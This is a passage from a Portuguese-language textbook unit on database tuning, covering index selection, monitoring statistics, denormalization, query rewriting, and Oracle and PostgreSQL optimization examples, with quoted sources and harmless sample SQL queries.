atributo de seleção ou um atributo de junção, em todas as consultas e
transações. Geralmente, para um volume maior de processamento, a
regra dos 80-20 informal pode ser usada: aproximadamente 80 por cento
do processamento é atribuído a apenas 20 por cento das consultas e
transações. Portanto, em situações práticas, raramente é necessário
coletar estatísticas completas e taxas de chamada em todas as consultas e
transações; basta determinar 20 por cento ou mais das mais importantes.
C. Analisando as restrições de tempo de consultas e transações.
Algumas consultas e transações podem ter rigorosas restrições de
desempenho. Por exemplo, uma transação pode ter a restrição de que
deve terminar dentro de cinco segundos em 95 por cento das ocasiões
em que é chamada, e que ela nunca deve levar mais do que vinte
segundos. Essas restrições de tempo colocam ainda mais prioridades
nos atributos que são candidatos para caminhos de acesso. Os
atributos de seleção usados por consultas e transações com restrições
de tempo tornam-se candidatos de maior prioridade para estruturas
de acesso primárias para os arquivos, visto que as estruturas de acesso
primárias geralmente são as mais eficientes para localizar registros em
um arquivo.
D. Analisando as frequências esperadas de operações de atualização.
Um número mínimo de caminhos de acesso deve ser especificado para
um arquivo que é frequentemente atualizado, pois a atualização dos
próprios caminhos de acesso atrasa esse tipo de operação. Por exemplo,
se um arquivo que tem inserções de registro frequentes possui dez
índices em dez atributos diferentes, cada um desses índices deve ser
atualizado sempre que um novo registro é inserido. O overhead para
atualizar dez índices pode atrasar as operações de inserção.
E. Analisando as restrições de exclusividade em atributos. Os
caminhos de acesso devem ser especificados em todos os atributos
de chave candidata – ou conjuntos de atributos – que são a chave
primária de um arquivo ou atributos únicos. A existência de um índice
(ou outro caminho de acesso) torna suficiente apenas procurar o índice
ao verificar essa restrição de exclusividade, pois todos os valores do
atributo existirão nos nós folha do índice. Por exemplo, ao inserir

168
TÓPICO 3 — TUNING EM BANCOS DE DADOS

um novo registro, se um valor de atributo chave do novo registro já


existir no índice, a inserção do novo registro deve ser rejeitada, pois ela
violaria a restrição de exclusividade no atributo. Quando a informação
anterior é compilada, é possível resolver as decisões de projeto físico
do banco de dados, que consiste principalmente em decidir sobre as
estruturas de armazenamento e caminhos de acesso para os arquivos
de banco de dados (ELMASRI; NAVATHE, 2011, p. 491).

Conforme Reynolds e Stair (2015, p. 550), “[...] é possível medir até


que ponto um sistema desempenha suas funções como é desejado através de
seus objetivos de desempenho”. Normalmente, o desempenho do sistema é
determinado por fatores como:
• A qualidade ou a utilidade do resultado. O sistema está gerando as
informações corretas para as pessoas certas e no momento oportuno?
• Exatidão do resultado. O resultado é exato e reflete a situação
verdadeira?
• Velocidade da geração dos resultados. O sistema gera resultados
a tempo para atender às metas organizacionais e aos objetivos
operacionais? A Progressive, uma grande empresa de seguros,
desenvolveu um site que permite que seus clientes obtenham
rápidas cotações de seguros de veículos e outros produtos
relacionados, com algumas informações. Eles esperam que a maior
velocidade na realização das cotações, advinda desta modificação,
se traduza em mais clientes. A respeito de um de seus projetos de
SI, declarou o CIO do FBI: “É tudo uma questão de nos ajudar a
conduzir nossas investigações, mais rapidamente”.
• A flexibilidade do sistema. O sistema de informação é bastante
flexível e adaptável para produzir uma variedade de relatórios e
documentos, dependendo das condições atuais e das necessidades
da organização?
• A facilidade de utilização do aplicativo. O desenvolvimento de
aplicativos que podem ser facilmente utilizados por gestores e
funcionários é uma meta importante para qualquer processo de
desenvolvimento de sistemas. A Genetech, por exemplo, desenvolveu
cerca de 15 aplicativos para seus funcionários, que podem ser
baixados para os iPhones da empresa, utilizados por eles. Baixar os
aplicativos corporativos de seu site é tão fácil quanto baixar músicas,
e outros conteúdos da App Store da Apple. O vice‑presidente de
tecnologia, da Genetech disse: “Estamos reduzindo a inércia da
tecnologia, de modo que as pessoas possam dedicar mais suas
energia e criatividade intelectuais a assuntos mais importantes”.
• A escalabilidade do sistema resultante. a escalabilidade permite
que um sistema de informação lide com o crescimento da empresa
e o aumento do volume nos negócios. O número de operações
comerciais processadas na Bolsa Mercantil de Chicago, por
exemplo, cresceu de 30 milhões, desde 2004, para mais de 6 bilhões
atualmente.32Este crescimento incrível requer um sistema de
informações, altamente escalonável.
• O risco do sistema. Um importante objetivo de muitos projetos
de desenvolvimento de sistemas é reduzir os riscos, por exemplo,
de aumento de custos ou atrasos no projeto.33 Para uma empresa
implantar um sistema de gestão de relacionamento com novos
clientes, o custo da iniciativa de gestão de relacionamento foi o dobro
do valor projetado.34 Um observador externo comentou: “Este é um
peso significativo no desempenho daquela empresa” (REYNOLDS;
STAIR, 2015, p. 551).

169
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Elmasri e Navathe (2011, p. 494) apontam que “[...] a utilização de recursos,


bem como o processamento interno do SGBD – como a otimização de consulta
– podem ser monitorados para revelar gargalos, como a disputa pelos mesmos
dados ou dispositivos”.
Portanto, é necessário monitorar e revisar o projeto físico do banco
de dados constantemente – uma atividade conhecida como ajuste do
banco de dados. Os objetivos do ajuste são os seguintes:
• Fazer as aplicações rodarem mais rapidamente.
• Melhorar (reduzir) o tempo de resposta de consultas e transações.
• Melhorar o desempenho geral das transações (ELMASRI; NAVATHE,
2011, p. 494, grifo no original).

DICAS

Assista ao vídeo do professor Sérgio Lifschitz: (Self) tuning em Sistemas


de Banco de Dados, disponibilizado pelo Departamento de Informática da Pontifícia
Universidade Católica do Rio de Janeiro (PUC-Rio). Acesse: https://www.youtube.com/
watch?v=zoG5cgjdETE.

De forma complementar, em relação aos ajustes do banco de dados,


Elmasri e Navathe (2011, p. 494) determinam que “[...] a linha divisória entre
o projeto físico e o ajuste é muito tênue”, sendo que os ajustes permanecem em
acompanhamento em todo o projeto de elaboração do banco físico, além de
alguns SGBDs auxiliarem com informações estatísticas, como:
• Tamanhos de tabelas individuais.
• Número de valores distintos em uma coluna.
• O número de vezes que determinada consulta ou transação é
submetida e executada em um intervalo de tempo.
• Os tempos exigidos para diferentes fases do processamento de
consulta e transação (para determinado conjunto de consultas ou
transações) (ELMASRI; NAVATHE, 2011, p. 494).

Elmasri e Navathe (2011, p. 494) apresentam que “[...] essas e outras


estatísticas criam um perfil de conteúdos e uso do banco de dados. Outras
informações obtidas pelo monitoramento das atividades e processos do sistema
de banco de dados incluem”:
• Estatísticas de armazenamento. Dados sobre alocação de
armazenamento em espaços de tabela (tablespaces), espaços de
índice e pools de buffer.
• Estatísticas de desempenho de E/S e dispositivo. Atividade total
de leitura/gravação (paginação) em extensões de disco e ‘hot spots’
do disco.

170
TÓPICO 3 — TUNING EM BANCOS DE DADOS

• Estatísticas de processamento de consulta/transação. Tempos de


execução de consultas e transações e tempos de otimização durante
a otimização da consulta.
• Estatísticas relacionadas a bloqueio/logging. Taxas de emissão
de diferentes tipos de bloqueios, taxas de vazão da transação e
atividade de registros de log.
• Estatísticas de índice. Número de níveis em um índice, número
de páginas folha não contíguas, e assim por diante (ELMASRI;
NAVATHE, 2011, p. 494).

Problemas são constantes nos bancos de dados e precisam de soluções


rápidas e eficientes para não comprometer o desempenho e o acesso aos dados.
Elmasri e Navathe (2011, p. 494) afirmam que “o ajuste de um banco de dados
envolve lidar com os seguintes tipos de problemas”:
• Como evitar disputa excessiva por bloqueio, aumentando assim a
concorrência entre as transações.
• Como minimizar o overhead do logging e o dumping desnecessário
de dados.
• Como otimizar o tamanho do buffer e o escalonamento de processos.
• Como alocar recursos como discos, RAM e processos para que a
utilização seja mais eficiente.
A maioria dos problemas que mencionamos anteriormente pode ser
resolvida pelo DBA ao definir parâmetros físicos apropriados do
SGBD, alterar configurações de dispositivos, mudar parâmetros do
sistema operacional e outras atividades semelhantes. As soluções
costumam estar bastante ligadas a sistemas específicos. Os DBAs
normalmente são treinados para lidar com esses problemas de ajuste
para o SGBD específico (ELMASRI; NAVATHE, 2011, p. 494).

A partir disso, é possível verificar que existem processos desde o início do


desenvolvimento de um banco de dados que precisam ser considerados e bem
planejados para o seu bom desempenho. Alguns recursos podem ser utilizados
diretamente por parâmetros e ações nos SGBDs e outras ações devem ser
analisadas pelo DBA ou pessoas especializadas na otimização do banco.

2 IMPORTÂNCIA DO TUNING NA MELHORIA DO DESEMPENHO


DO BANCO DE DADOS
Em uma definição apresentada por Reynolds e Stair (2015, p. 694): “[...]
modelo de otimização é um processo para encontrar a melhor solução, geralmente,
aquela que ajudará melhor a organização a alcançar seus objetivos”.

Dessa forma, a importância do tuning em banco de dados é encontrar,


em meio às dificuldades e aos problemas, soluções que venham a melhorar um
processo ou rotina.

Caiut (2015, p. 106) estabelece que:

171
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

É importante que o administrador reconheça, o quanto antes, que


tuning não é um projeto que tem início e fim. Tuning é uma atividade
permanente. Ou seja, nunca acaba. Quando você achar que tudo o
que era possível foi otimizado, alguma mudança de plataforma ou
alteração drástica de negócios trará um novo cenário que demandará
novos ajustes.

Reynolds e Stair (2015, p. 580) defendem informações relevantes que


devem ser consideradas no desenvolvimento de um projeto que envolva sistemas:
Estabelecer os objetivos para o desenvolvimento de sistemas é um
aspecto‑chave de qualquer projeto de desenvolvimento bem ‑sucedido.
Fatores críticos para o sucesso (CSF) podem identificar os objetivos
importantes. Os objetivos do desenvolvimento de sistemas podem
incluir metas de desempenho (qualidade e utilidade dos resultados e
a velocidade com a qual o resultado é gerado), assim como os objetivos
de custo (custos de desenvolvimento, os custos fixos e os custos de
desenvolvimento contínuos) (REYNOLDS; STAIR, 2015, p. 580).

Já Elmasri e Navathe (2005, p. 261) descrevem que “[...] podemos


identificar seis fases principais do projeto global do banco de dados e do processo
de implementação”:
1. Levantamento e análise de requisitos.
2. Projeto conceituai do banco de dados.
3. Escolha de um SGBD.
4. Mapeamento do modelo de dados (também chamado projeto lógico
de banco de dados).
5. Projeto físico do banco de dados.
6. Implementação e sintonização (tuning) do sistema de banco de
dados (ELMASRI; NAVATHE, 2005, p. 261).

Em específico sobre a fase 6, que se refere à implementação e sintonização


(tuning) do sistema de banco de dados, Elmasri e Navathe (2005, p. 262) ressaltam
que “[...] nesta fase, o banco de dados e os programas são implementados,
testados e eventualmente utilizados em produção”. Elmasri e Navathe (2005, p.
262) explanam ainda que é nessa fase que:
São testadas também várias transação e aplicações individualmente e,
depois, em conjunto. Normalmente, esta fase revela necessidades de
alterações projeto físico, na indexação, na reorganização e na alocação
de dados – atividade que chamamos de sintoniza (afinação, tuning)
do banco de dados. Sintonizar é uma atividade contínua – parte da
manutenção do sistema que perdura durante todo o ciclo de vida de
um banco de dados, contanto que o banco de dados e as aplicações
continua evoluindo ou à medida que forem surgindo problemas de
desempenho.

Algo que auxilia no processo de tuning é a utilização de índices. Segundo


Oliveira e Piva (2010, p. 109), “[...] um índice é um recurso físico que visa otimizar
a recuperação de uma informação por meio do método de acesso”. Os autores
ainda argumentam que:

172
TÓPICO 3 — TUNING EM BANCOS DE DADOS

Seu objetivo está relacionado com o desempenho de um sistema, ou


seja, concebidos para aumentar a velocidade de recuperação dos dados,
os índices devem ser criados para os campos (ou colunas) pesquisados
com mais frequência. Como em tudo o que desenvolvemos, é preciso
analisar os prós e os contras, já que a criação de índices pode gerar
algumas desvantagens, como o tempo que se leva para construí-los; o
espaço em disco utilizado para armazená-los; a demora maior para as
operações de modificação no banco de dados, pois todas as mudanças
têm de ser realizadas nos dados e nos índices. Esses problemas podem
ser minimizados ou até mitigados com o uso de regras para a criação
de campos indexados (OLIVEIRA; PIVA, 2010, p. 109).

DICAS

Para conhecer mais sobre índices e seu funcionamento, assista ao vídeo


SQL SERVER – 36 – ÍNDICES – CREATE INDEX – Como acelerar a performance das suas
consultas, de autoria de Alessandro Trovato, que apresenta mais detalhes: https://www.
youtube.com/watch?v=_C6vXSCazts.

Elmasri e Navathe (2011, p. 495) relatam que “[...] a escolha inicial de


índices pode ter que ser revisada pelos seguintes motivos”:
• Certas consultas podem levar muito tempo para serem executadas,
por falta de um índice.
• Certos índices podem nem ser utilizados.
• Certos índices podem sofrer muita atualização, pois o índice está
em um atributo que sofre mudanças frequentes.
O objetivo do ajuste é avaliar dinamicamente os requisitos, que às
vezes flutuam sazonalmente ou durante diferentes épocas do mês ou
da semana, e reorganizar os índices e organizações de arquivo para
gerar o melhor desempenho geral. A remoção e criação de novos
índices é um overhead que pode ser justificado em relação às melhorias
no desempenho. A atualização de uma tabela em geral é suspensa
enquanto um índice é descartado ou criado; essa perda de serviço
deve ser considerada. Além de remover ou criar índices e alterar com
base em um índice não agrupado para um índice agrupado e vice-
versa, a recriação do índice pode melhorar o desempenho frequentes
(ELMASRI; NAVATHE, 2011, p. 495).

Segundo Marquesone (2017, p. 28), “[...] muitas empresas já possuem


quantidades significativas de dados e não as utilizam para obtenção de valor.
Isso pode ocorrer por diversos aspectos em relação à manipulação dos dados”,
ainda mencionando as oportunidades que são desperdiçadas (MARQUESONE,
2017, p. 26-27).

173
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Por exemplo, oportunidades podem ser desperdiçadas pelo fato de que:


• Os dados não estão integrados: eles já são gerados pela empresa,
mas por serem armazenados em diferentes sistemas e bases, não
fornecem uma visão ampliada da solução de um problema.
• Os dados demoram para ser analisados: nesse caso, gasta-se
muito tempo no processo de análise dos dados, o que impede a
identificação de informações no momento adequado.
• Os dados não estão categorizados: são casos em que os registros
dos conjuntos de dados estão armazenados de diferentes maneiras,
sem uma padronização dos campos, impedindo a identificação de
anomalias e categorias existentes nos dados.
• Os dados estão obscuros: casos em que só é possível obter
informações a partir da análise de outros dados, como a identificação
de padrões em streaming de vídeos, extração de informações em
imagens e dados manuscritos.
• Os dados não são usados na tomada de decisão: são os que
poderiam ser utilizados no processo de apoio à tomada de decisão,
mas por não serem integrantes dos dados tradicionais da empresa,
são descartados desse processo.
• Os dados não são visualizados com clareza: são situações nas
quais os dados já são armazenados, porém não são analisados e
apresentados de maneira efetiva para gerar percepções sobre eles.
• Os dados não são medidos: refere-se a casos nos quais não
se utilizam as métricas que os dados podem fornecer para a
compreensão de um fato, até então, imperceptível.
Perceba que muitas empresas já têm a possibilidade de aperfeiçoar
a utilização de seus dados, mas não conseguem por fatores como os
descritos anteriormente. Medidas como a adoção de novas tecnologias
ou uma nova forma de organização dos dados podem trazer grandes
transformações em relação à utilização de dados para extração de
valor (MARQUESONE, 2017, p. 28)

Elmasri e Navathe (2011, p. 495) afirmam que se um “projeto físico de


banco de dados não atender aos objetivos esperados, o DBA pode reverter para
o projeto lógico do banco de dados, fazer ajustes como desnormalizações no
esquema lógico e mapeá-lo novamente para um novo conjunto de tabelas físicas
e índices”.

Assim, “[...] o projeto inteiro do banco de dados precisa ser controlado


pelos requisitos de processamento tanto quanto pelos requisitos de dados”
(ELMASRI; NAVATHE, 2011, p. 495), complementando que:
Se os requisitos de processamento estiverem mudando dinamicamente,
o projeto precisa responder fazendo mudanças no esquema conceitual,
se necessário, e para refletir essas mudanças no esquema lógico e
projeto físico.
As mudanças podem ser da seguinte natureza:
• As tabelas existentes podem ser juntadas (desnormalizadas)
porque certos atributos de duas ou mais tabelas são frequentemente
necessários juntos: isso reduz o nível de normalização de FNBC
para 3FN, 2FN ou 1FN.
• Para determinado conjunto de tabelas, pode haver escolhas de
projeto alternativas, todas alcançando a 3FN ou FNBC. Um projeto
normalizado pode ser substituído por outro.

174
TÓPICO 3 — TUNING EM BANCOS DE DADOS

• Uma relação da forma R (Ch, A, B, C, D, ...) – com Ch como um


conjunto de atributos de chave – que esteja na FNBC pode ser
armazenada em várias tabelas que também estão na FNBC – por
exemplo, R1(Ch, A, B), R2(Ch, C, D), R3(Ch, ...) – ao replicar a chave
Ch em cada tabela. Tal processo é conhecido como particionamento
vertical. Cada tabela agrupa conjuntos de atributos que são
acessados juntos. Por exemplo, a tabela FUNCIONARIO (Cpf,
Nome, Telefone, Nota, Salario) pode ser dividida em duas: FUNC1
(Cpf, Nome, Telefone) e FUNC2(Cpf, Nota, Salario). Se a tabela
original tem um grande número (digamos, 100.000) de linhas e
consultas sobre números de telefone e as informações de salário são
totalmente distintas e ocorrem com frequências muito diferentes,
então essa separação de tabelas pode funcionar melhor.
• O(s) atributo(s) de uma tabela pode(m) ser repetido(s) em outra,
embora isso crie redundância e uma anomalia em potencial. Por
exemplo, Nome_peca pode ser replicado nas tabelas sempre que a
Num_peca aparece (como chave estrangeira), mas pode haver uma
tabela principal chamada PECA_PRINCIPAL (Num_peca, Nome_
peca, ...) onde se garante que o Nome_peca é atualizado.
• Assim como o particionamento vertical divide uma tabela
verticalmente em várias tabelas, o particionamento horizontal
pega fatias horizontais de uma tabela e as armazena como tabelas
distintas. Por exemplo, os dados de vendas de produto podem ser
separados em dez tabelas com base em dez linhas de produtos.
Cada tabela tem o mesmo conjunto de colunas (atributos), mas
contém um conjunto distinto de produtos (tuplas). Se uma consulta
ou transação se aplica a todos os dados do produto, ela pode ter
de ser executada novamente contra todas as tabelas e os resultados
podem ter de ser combinados.
Esses tipos de ajustes projetados para atender ao grande volume de
consultas ou transações, com ou sem sacrificar as formas normais, são
comuns na prática (ELMASRI; NAVATHE, 2011, p. 495-496).

Desse modo, podemos considerar que a importância de ter um banco de


dados bem desenvolvido e com processos adequados de otimização é contribuir
para todas as áreas de uma empresa que necessita de informações.

Laudon e Laudon (2014, p. 206) em sua obra apresentam “[...] quais as


principais ferramentas e tecnologias para extrair informações de bancos de dados
e, assim, melhorar o desempenho da empresa e a tomada de decisão”:
A tecnologia contemporânea de gestão de dados dispõe de um
conjunto de ferramentas para extrair informações úteis de todos os
diversos tipos de dados utilizados pelas empresas hoje, incluindo big
data semiestruturado e não estruturado em grandes quantidades.
Esses recursos incluem data warehouses e data marts, Hadoop,
computação em memória e plataformas analíticas. O processamento
analítico on-line (Olap) representa os relacionamentos entre os dados
como uma estrutura multidimensional que pode ser visualizada como
cubos de dados uns dentro dos outros. O data mining analisa grandes
quantidades de dados, incluindo o conteúdo dos data warehouses,
a fim de encontrar padrões e regras utilizados para prever o
comportamento futuro e orientar a tomada de decisão. Ferramentas de
mineração de texto ajudam as empresas a analisar grandes conjuntos
de dados formados por textos não estruturados. Ferramentas de
mineração na Web concentram-se na análise de padrões e informações

175
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

úteis na World Wide Web a partir da avaliação da estrutura dos sites,


das atividades dos usuários na Web e dos conteúdos das páginas.
Bancos de dados convencionais podem ser conectados à Web ou a uma
interface dela para facilitar o acesso do usuário aos dados internos da
organização (LAUDON; LAUDON; 2014, p. 206).

Logo, verificamos que tuning é importante em todos os tipos de bancos


e tamanhos. Ter informações disponíveis sempre que a organização precisar,
independentemente do momento, é essencial para que a tomada de decisões
possa ser mais assertiva no dia a dia.

3 TIPOS DE ATIVIDADES DE TUNING EM BANCOS DE DADOS


Existem várias técnicas de tuning que podem ser aplicadas ao banco de
dados, em busca de melhor desempenho. Considerando que existem muitos
SGBDs e SGBDRs, essas técnicas e métodos podem ser realizados de forma
diferente. Durante a verificação dos conteúdos a seguir, conheceremos mais
informações sobre a otimização de banco de dados.

Para Brown e Stallings (2014, p. 350), “[...] refere-se à correspondência entre


o algoritmo especificado em alguma linguagem de programação e as instruções
de máquina que são executadas para implementá-lo”.
Essa é uma questão amplamente ignorada por muitos programadores.
A suposição é de que o compilador ou interpretador realmente
gera ou executa código que implementa validamente as instruções
da linguagem. Quando isso é considerado, a questão restante é
tipicamente de eficiência, e costuma ser abordada por meio da
especificação do nível exigido de opções de otimização passadas ao
compilador (BROWN; STALLINGS, 2014, p. 350).

Outra questão é que não se pode apenas considerar a estrutura do banco


de dados, mas também onde esse banco está instalado. Caiut (2015, p. 106) indica
o “[...] banco de dados deve ser instalado em um servidor dedicado. Ainda que
isso possa parecer muito óbvio, é comum encontrarmos servidores de aplicação,
ou servidores web, na mesma máquina do banco de dados”.

Para Elmasri e Navathe (2011, p. 496), “[...] o desempenho da consulta


depende da seleção apropriada de índices, e como os índices podem ter de ser
ajustados após analisar as consultas que oferecem desempenho fraco usando os
comandos no SGBDR que mostram o plano de execução da consulta”.
Existem principalmente duas indicações que sugerem que o ajuste da
consulta pode ser necessário:
1. Uma consulta emite muitos acessos ao disco (por exemplo, uma
consulta com combinação exata varre uma tabela inteira).
2. O plano de consulta mostra que índices relevantes não estão sendo
usados.
Técnicas adicionais para melhorar as consultas se aplicam a certas
situações, como a seguir:

176
TÓPICO 3 — TUNING EM BANCOS DE DADOS

1. Uma consulta com múltiplas condições de seleção que são


conectadas por OR ou podem não estar pedindo ao otimizador de
consulta para usar qualquer índice. Tal consulta pode ser dividida
e expressa como uma união de consultas, cada qual com uma
condição em um atributo que causa o uso de um índice.
2. Para ajudar a agilizar a consulta, as seguintes transformações
podem ser experimentadas:
• A condição NOT pode ser transformada em uma expressão
positiva.
• Blocos SELECT embutidos usando IN, = ALL, = ANY e = SOME
podem ser substituídos por junções.
• Se uma junção de igualdade for configurada entre duas tabelas,
o predicado de intervalo (condição de seleção) no atributo de
junção configurado em uma tabela pode ser repetido para a
outra tabela.
• Condições WHERE podem ser reescritas para utilizar os índices
em múltiplas colunas (ELMASRI; NAVATHE, 2011, p. 496-498).

Gonçalves (2014, p. 26) indica que “[...] o SGDBR da Oracle pode ser usado
em vários tipos de equipamentos, sendo eles computadores de pequeno e grande
porte. Quanto à plataforma, dá suporte a uma gama de ambientes incluindo,
UNIX, VMS, MVS, HP, Macintosh, Rede Novell, MS-Windows entre outros”.
Gonçalves (2014, p. 26-27) ainda informa que o Oracle possui características
interessantes, além de compatibilidade com outros SGBDRs:
Possui compatibilidade com outros SGDBRs, tais como, DB/2 e SQL/
DS da IBM, Sybase, Ingres, Informix, e outros não relacionais como
SAS, lipper, Lotus etc. Outras características relacionais são:
• Controle sofisticado de concorrências;
• Suporte total para visões e junções;
• Consistência garantida na leitura de dados;
• Otimização de consultas avançadas baseadas em custo;
• Transações de multietapas garantidas contra falhas;
• Recuperação automática contra quebras ou falhas de computador;
• Indexação dinâmica;
• Pesquisas distribuídas;
• Junções externas (outer joins inexistentes em outros SGBDRDs);
• Funções lógicas de textos;
• Usuários e SCHEMAS;
• Índices, clusters e hash clusters;
• Sequências;
• Procedimentos, pacotes e triggers;
• Sinônimos, papéis e privilégios;
• Segmentos de Rollback;
• Snapshots e visões materializadas.

Conforme apontado por Gonçalves (2014, p. 161):


Sabemos que um comando SQL tem como objetivo levar a um
resultado, contudo, temos que ter em mente que o banco de dados não
processa tudo de uma só vez, ele analisa cada parte da instrução e vai
gerando os resultados parciais até chegar a um resultado final. Desta
forma, quando a instrução SQL for avaliada, o banco de dados tomará
como ponto de partida está precedência.

177
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Gonçalves (2014, p. 161) ainda questiona “você deve estar se perguntando


qual a relevância disto na escrita de comandos SQL?”. Uma resposta a esse
questionamento pode ser verificada em Gonçalves (2014, p. 161-162):
Pois bem, se levarmos em conta questões de performance para
comandos SQL complexos, ter o conhecimento de como agem estas
regras de precedência, pode ajudá-lo a escrever um comando mais
performático, digamos assim. Segundo as regras de otimização do
banco de dados Oracle, uma instrução SQL pode ser modificada
pelo próprio Otimizador do banco, visando uma melhor execução.
Como? Escrevendo cláusulas comparativas levando em conta a ordem
de precedência. Desta forma, o otimizador do banco de dados não
precisará fazer este trabalho de reordenar estas cláusulas. Contudo,
isto será relevante quando estivermos falando de ajustes finos de
performance, ou seja, seu SQL não vai deixar de executar por falta da
aplicação destas regras.

Assim, “[...] você precisa conhecer estas regras, para que em determinados
casos, não acabe cometendo enganos no momento que estiver escrevendo
instruções SQL, como, por exemplo, quando estiver utilizando os operadores OR
e AND” (GONÇALVES, 2014, p. 162). Um exemplo apresentado por Gonçalves
(2014, p. 162-163) pode facilitar o entendimento:
SQL> select last_name, job_id, salary
2 from employees
3 where job_id = ’SA_REP’
4 or job_id = ’AD_PRES’
5 and salary > 15000
6
SQL>

Para entender este comando, vamos avaliá-lo utilizando as regras


de precedência. Utilizando estas premissas podemos observar que
neste comando temos duas condições. A primeira nos diz que devem
ser selecionados empregados que possuem JOB_ID = ‘AD_PRES’ e
que SALARY > 15000. A segunda é que o JOB_ID = ‘SA_REP’. Note
que estamos seguindo as regras de precedência, e a regra é clara,
operadores AND tem precedência sobre operadores OR. Neste caso,
serão selecionados os registros que satisfazerem a primeira condição,
empregados com cargo igual ‘AD_PRES’ e salário maior que 15.000, ou
a segunda condição, empregados com o cargo igual a ‘SA_REP’. Para
melhor entendermos, poderíamos visualizar as condições da seguinte
forma:

job_id = ’SA_REP’
ou
job_id = ’AD_PRES’ E salary > 15000

O resultado pode ser visto na Figura 4.

178
TÓPICO 3 — TUNING EM BANCOS DE DADOS

FIGURA 4 – RESULTADO DO EXEMPLO SQL APRESENTADO

FONTE: Gonçalves (2014, p. 162)

Gonçalves (2014, p. 163) explica que:


Note que o resultado satisfez as condições da instrução SQL, trazendo
apenas um registro para a primeira condição e outros trinta referentes
a segunda condição.
Agora vamos analisar o comando SQL de outro ângulo. Vamos
imaginar que na verdade nossa intenção não seria trazer o resultado da
forma como foi mostrado, ideia seria trazer empregados que tivessem
como cargo ’AD_PRES’ ou ‘SA_REP’ e que o salário fosse maior que
15.000. Neste caso, da forma como foi escrito nosso comando, não
vai satisfazer nossa condição, pois, como vimos, o comando SQL foi
avaliado e executado conforme as regras de precedência de operadores.
Com isto, para fazer com que nossa condição seja satisfeita, vamos
sobrepor a precedência padrão da linguagem.
Mesmo existindo estas regras de precedência para os operadores,
é possível, sim, sobrepô-las com a ajuda de parênteses. Vamos,
novamente, observar o comando SQL, agora alterado para satisfazer
nossa condição:

SQL> select last_name, job_id, salary


2 from employees
3 where (job_id = ’SA_REP’
4 or job_id = ’AD_PRES’)
5 and salary > 15000
6/
SQL>

179
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Analisando o comando SQL, note que apenas acrescentamos um


par de parênteses isolando duas de nossas comparações. Com isto,
formamos duas novas condições. A primeira condição irá recuperar
os empregados onde JOB_ID = ‘SA_REP’ ou JOB_ID = ‘AD_PRES’. Já
a segunda condição irá trazer os empregados onde SALARY > 15000.
Desta forma, estamos sobrepondo a precedência dos operadores,
forçando com que a primeira condição, mesmo contendo um operador
OR, seja resolvida primeiro, para então, a segunda condição possa ser
resolvida. Desta forma, poderíamos visualizá-las da seguinte forma:

(job_id = ’SA_REP’ OU job_id = ’AD_PRES’)


E
salary > 15000

O resultado desse exemplo é apresentado na Figura 5.

FIGURA 5 – RESULTADO DO EXEMPLO SQL APRESENTADO

FONTE: Gonçalves (2014, p. 164)

Gonçalves (2014, p. 164) finaliza a explicação do exemplo: “como pode ser


visto, o resultado atendeu as expectativas. Foram listados todos os empregados
que possuem o cargo igual a ‘AD_PRES’ ou ‘SA_REP’, e que possuem salário
maior que 15.000”.

DICAS

Leia na íntegra o artigo TUNING – Técnicas de Otimização de Banco de Dados


Um Estudo Comparativo: Mysql e Postgresql, para conhecer mais sobre as técnicas de
otimização de banco de dados, disponível em: http://repositorio.furg.br/handle/1/1692.

Segundo Caiut (2015, p. 106), “[...] o ajuste de desempenho do PostgreSQL


não é diferente. Para cada query lenta que se enfrente, diversas soluções possíveis
existirão, sendo que cada uma delas deve ser analisada e empiricamente testada
até se encontrar a que melhor resolva ou mitigue uma situação negativa”.

180
TÓPICO 3 — TUNING EM BANCOS DE DADOS

Essas soluções podem estar no modo como a aplicação usa o banco,


na qualidade de suas queries, da eficiência do modelo, na quantidade
de dados retornados ou ainda na quantidade de dados processados de
forma intermediária. Muitas vezes a solução mais eficaz para a lentidão
é simples, e até por conta disso muitas vezes esquecida: criação de
Índices (CAIUT, 2015, p. 106).
Depois de analisada a aplicação e o uso que está fazendo do banco,
pode ser necessário analisar a configuração do PostgreSQL e do Sistema
Operacional. Pode-se analisar se a memória para ordenação é suficiente,
o percentual de acerto no shared buffer, e ainda os parâmetros de custo
do Otimizador. É preciso se certificar também que a reorganização do
espaço, o vacuum, e estatísticas estão sendo realizados com a frequência
necessária (CAIUT, 2015, p. 106).
Por fim, verificamos se a memória está corretamente dimensionada,
a velocidade e organização dos discos, o poder de processamento, o
filesystem e o uso de mais servidores com replicação. Ou seja, olha-se
para infraestrutura de hardware e software (CAIUT, 2015, p. 106).

Cayres (2015, p. 122) orienta que:


Índices são usados para melhorar o desempenho dos bancos de dados.
Um índice permite ao servidor de banco de dados encontrar linhas ou
tuplas de uma tabela específica com muito mais rapidez do que faria
sem o índice.
Esse benefício, porém, acaba por produzir um trabalho adicional para
o SGBD, pelo fato de ter de se manter estruturas que indicam quais são
os índices existentes e que poderão ser manipulados pelas aplicações
que acessam as tabelas correspondentes. De qualquer modo, os índices
podem melhorar o desempenho de operações envolvendo junções,
atualizações e exclusões que contenham condição de procura.
O PostgreSQL implementa quatro tipos de índices, cada um com o
seu grau de eficiência, e que devem ser utilizados de acordo com as
características da aplicação que deles fará uso. São eles:
• B-tree: é o tipo padrão (assume quando não indicamos). São
índices que podem tratar consultas de igualdade e de faixa, em
dados que podem ser classificados. Indicado para consultas com
os operadores: <, <=, =, >=, >. Também pode ser utilizado com LIKE,
ILIKE, ~ e ~*;
• R-tree: tipo mais adequado a dados espaciais. Adequado para
consultas com os operadores: <<, &<, &>, >>, @, ~=, &&;
• HASH: indicados para consultas com comparações de igualdade
simples. Atualmente recomenda-se o B-tree em seu lugar;
• GiST: utilizado para retornar resultados com perdas, isto é, retorna
os dados mais rapidamente comparando por coincidências de bits,
prefira usar b-tree que é mais confiável.

De forma complementar ao processo de geração de índices, Cayres (2015,


